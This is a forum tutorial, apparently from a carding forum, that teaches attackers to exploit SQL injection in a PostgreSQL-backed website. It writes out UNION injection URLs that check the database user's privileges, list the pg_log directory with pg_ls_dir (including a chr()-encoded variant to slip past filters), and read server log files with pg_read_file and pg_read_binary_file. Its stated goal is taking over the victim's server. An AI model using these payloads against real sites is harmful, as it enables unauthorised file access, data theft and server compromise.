hey everyone,

so i guess it's time to learn something juicy about postgresql.
if you're injecting a website based on a postgresql database then you might wanna check your privileges because this will simply allow you to use lots of interesting postgresql functions in case you could:
you can find most of these functions in here:

code:
http://www.postgresql.org/docs/9.4/s...ons-admin.html
what we will be covering in this tutorial is related to reading log files. the log files contain everything related to the postgresql database running on our victim's server and we all know that log files holds really interesting information that may allow us to take over the whole server easily, so lets just get started.


vulnerable link:



code:
http://127.0.0.1/search.php?name=username

checking if we have privileges:

there's two thing we have to do to see if we have privileges or not.
firstly, we have to get the current user and secondly, we will check if this user has the right privileges.



code:
http://127.0.0.1/search.php?name=username union select current_user
output: postgres
tip: in my case there's only one column in the default table.



code:
http://127.0.0.1/search.php?name=username union select is_grantable from information_schema.role_table_grants where grantee='postgres'


you can check and select what you want from these tables but in my case i am going to be using admin functions related to "pg_read_file" and many others so i'm gonna have to use role_table_grants because with it i can check if my user has privileges to using those functions.



code:
http://127.0.0.1/search.php?name=username union select is_grantable from information_schema.role_table_grants where grantee='postgres'
output: yes


loading directory files:

now that we know that we have privileges, we're going to check the names of the files in the log folder before we start reading them.
the functions that we are going to be using can be found here:

code:
http://www.postgresql.org/docs/9.4/s...-genfile-table
those functions only allow us to do whatever we want with everything found in the "data" directory that can be found in the postgresql installation directory:


now in our case we will only be reading files inside the "pg_log" directory. you can obviously check any other directory though.


code:
http://127.0.0.1/search.php?name=username union select pg_ls_dir('pg_log')



if the above link didn't work then you can try the hex or the char value of "pg_log" instead of the plain one:
code:

code:
http://127.0.0.1/search.php?name=username union select pg_ls_dir( chr(112) || chr(103) || chr(95) || chr(108) || chr(111) || chr(103))
etc...


reading log files:

there's many functions we can use to read a file:
pg_read_file()
pg_read_binary_file()
etc...

using "pg_read_file":


code:
http://127.0.0.1/search.php?name=username union select pg_read_file('pg_log\postgresql-2014-05-07_210124.log')
this will simply read the file and show its text on the page.

using "pg_read_binary_file":


code:
http://127.0.0.1/search.php?name=username union select cast(pg_read_binary_file('pg_log\postgresql-2014-05-07_210124.log') as varchar)
before i explain this i would like to point that we used pg_read_binary_file which returns an unreadable value that, obviously, can't be shown on the webpage unless you use something similar to the "cast" function which will show the text of the file as you wish. (in my case as a "varchar"; showing a hex value)
now this is better than reading the file using pg_read_file because you can simply decode the hex value and get the exact layout of the log file.

read more: http://cardingmafia.ws/f26/reading-l...#ixzz3uqe4aagn